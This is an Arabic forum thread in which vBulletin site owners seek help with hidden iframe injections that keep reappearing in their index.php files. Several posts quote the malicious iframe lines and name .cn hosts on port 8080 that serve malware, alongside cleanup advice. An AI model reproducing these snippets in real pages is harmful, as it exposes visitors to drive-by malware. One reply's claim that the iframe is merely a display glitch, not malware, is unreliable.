فايروس في صفحة المنتدى الرئيسيه

sqwal

عضو جديد
24 مايو 2009
4
0
0
اخواني عندي مشكلة وهي لدي فايروس في الصفحة الرئيسية
حاولت اني اتخلص منه ولاكن دون جدوى قمت بترقية المنتدى
ونفس الشي ماراح يزرع نفسه في الصفحة الرئيسية تبع المنتدى
رفعت صفحة index جديدة ونظيفه ومن نسخة اخرى يشغل المنتدى
لفترة وجيزه ويرجع من الجديد وهذا هو الكود اللي يزرع نفسه في
صفحة المنتدى ويعطل الدخول

<iframe src="http://yourfilmlife.cn:8080/index.php" width=186 height=124 style="visibility: hidden"></iframe>

ارجو من لديه الحل ان لايبخلكم علينا وجزاكم الله خير
 

sqwal

عضو جديد
24 مايو 2009
4
0
0
نفس الوضع ماتغير اي شي
 

الفهيقي

:: مسؤول بـ ::, قسم المشاكل والحلول
21 فبراير 2009
1,320
14
0
saudi
اخوي تأكد من الهاكات بالنسخ القديمه والله اعلم

بانتظارك​
 

عبدالله السعيد

عضو جديد
18 أكتوبر 2008
4
0
0
هذه المشكلة ايضا اقلقتني حتى أن الموقع الآن مبلغ عنه بقوقل والخوف من فقد الزوار

وهو يزرع نفسه في اغلب ملفات الإندكس مع مرو الوقت

تكفون تكفى تهز الرجاجيل

سكان من لوحة التحكم مافاد
سكان ومسح الملفات واستبدالها بجديد عبر تنزيل ملفات الموقع مافاد

انتظر الرد الله يحفظكم
 

sqwal

عضو جديد
24 مايو 2009
4
0
0
الفهيقي

لقد قمت بترقية المنتدى كامل الى النسخة 3.2.8

وقمت بحذف مجلد المنتدى السابق اللي هو اصدار 3.7.4

والمشكلة لازالت قامة مع اني حذفت الهاكات السابقه اللي

للتوافق مع الاصدار اللي قمت بترقيه المنتدى له
 

wfena

عضو جديد
10 يونيو 2009
7
0
0
www.kuwaitshr.com
أعمل فورمات حق الجهاز كامل وركب برنامج حماية من ثمه اعمل ترقية حق المنتدي

وان شاء الله تنحل مشكلتك
 

عبدالله السعيد

عضو جديد
18 أكتوبر 2008
4
0
0
الحل بإذن الله

مع العذر لوضع الرابط

هنا

http://www.swalif.net/softs/swalif54/softs231813/



الحذر في التعامل مع الحذف في ملفات FTP

عمل سكان لجميع الملفات وخاصة مجلد www و public_html واستبدال الملفات المصابه ..... وتنظيف محتويات المهملات .trash
 

sqwal

عضو جديد
24 مايو 2009
4
0
0
wfena

مشكور يابعدي على التوضيح وعلى فكرة طريقتك اللي كتبتها سبق ان عملتلها

ولم تفيد بأي شي ولاكن انا ساوضحلك الطريقة الصحيحة اللي قمت بها وهي

كتالي الدخول من صفحة الموقع اي السي بنل من ثم الدخول على مجلد المنتدى

والبحث في جميع مجلدات vb عن اي صفحة تحت عنوان index.php والقيام بتحريرها

وحذف الاكواد التاليه منها وهي على الشكل التالي :-

الكود الاول


<iframe src="http://bigtopfestival.cn:8080 / index.php" width=123 height=188 style="visibility: hidden"></iframe>


الكود الثاني


<iframe src="http://bigtopfestival.cn:8080 / index.php" width=123 height=188 style="visibility: hidden"></iframe>

وبعد الانتهاء نقوم بحذف صفحة index.php الرئيسية للمنتدى واستبدلها بملف اخر نظيف لنفس النسخة ونرفع

من خلال السي بنل داخل مجلد vb وعدم رفعه من برنامج الافتي بي للأحتياط فقط ويمكن تكون الاكواد مختلفة


عند الغير والله اعلم وطبعنا الاكواد تعتبر اكواد خبيثة تقوم بزرارعة نفسها داخل صفحات index.php وتقوم بقفل

صفحة المنتدى الرئيسية وتكون الصفحة بيضاء وعن الدخول عليها تقوم هذه الاكواد باعطاء امر تحميل مباشر لملفات

فيروسات او تروجونات قد تتسبب باضرار لجهاز ك ارجو من الادارة تثبيت الموضوع لتعم الفائدة على الجميع وشكراُ
 

عبدالله السعيد

عضو جديد
18 أكتوبر 2008
4
0
0
حلو 😚 هذا التعاون

وازيدك من الشعر بيت

هذه الأكواد بروابط المواقع الموزعة للبرمجيات الضارة

<iframe src="http://globalnameshop.cn:8080/index.php" width=177 height=161 style="visibility: hidden"></ifram
<iframe src="http://namemartfilmlife.cn:8080/index.php" width=186 height=183 style="visibility: hidden"></ifra
<iframe src="http://superfilmlife.cn:8080/index.php" width=144 height=142 style="visibility: hidden"></ifr
<iframe src="http://lotwager.cn:8080/ts/in.cgi?pepsi56" width=125 height=125 style="visibility: hidden"></if
<iframe src="http://nyfilmlife.cn:8080/index.php" width=184 height=137 style="visibility: hidden"></i
<iframe src="http://bestfilmlife.cn:8080/index.php" width=184 height=125 style="visibility: hidden"></
<iframe src="http://bigtopcreative.cn:8080/index.php" width=123 height=190 style="visibility: hidden"><
<iframe src="http://davajtemnedenegsejchas.com/spl1/?f115c845296f7ba3144dc004201e3f86" width=1 height=1 style="visibility:hidden"></iframe

بعد تحميل المجلدين وعمل بحث لرابط المواقع تتعرف على عدد الصفحات المزروع فيها الكود ومن ثم حذفه او استبدال الملفات بجديد

تحية للجميع
 

popodar

عضو جديد
5 يونيو 2009
28
0
0
اخي المشكل في ملف index الخاص بمنتداك الحل ان شاء الله جد سهل فقط اتتبع الطريقة التالية
اولا مشكل iframe لا نستطيع ان نقول فيروس 100 100 لا نه خلل يقع في نظام ظهور الصفحات و يهاجمه برنامج الحماية على انه فيروس لذا:
-حمل نسخة اخرى عادية للفيبي و قم بنسخ محتويات ملف اندكس واستبدالها في ملفك الحالي و تستطيع استبدالها ايضا بنسخة مطورة ولكن يجب الترقية الكلية للمنتدى حتى لا يحدث تعارض ورسائل اخطاء غير متوقعة و ان شاء الله يزول المشكل نهائيا ولا تنسى ان تأخذ نسخة للملف القديم في حال ظهور مشكل لا قدر الله
ان اصبت فمن الله وان اخطأت فمن النفس والشيطان و عذرا على التأخر في الرد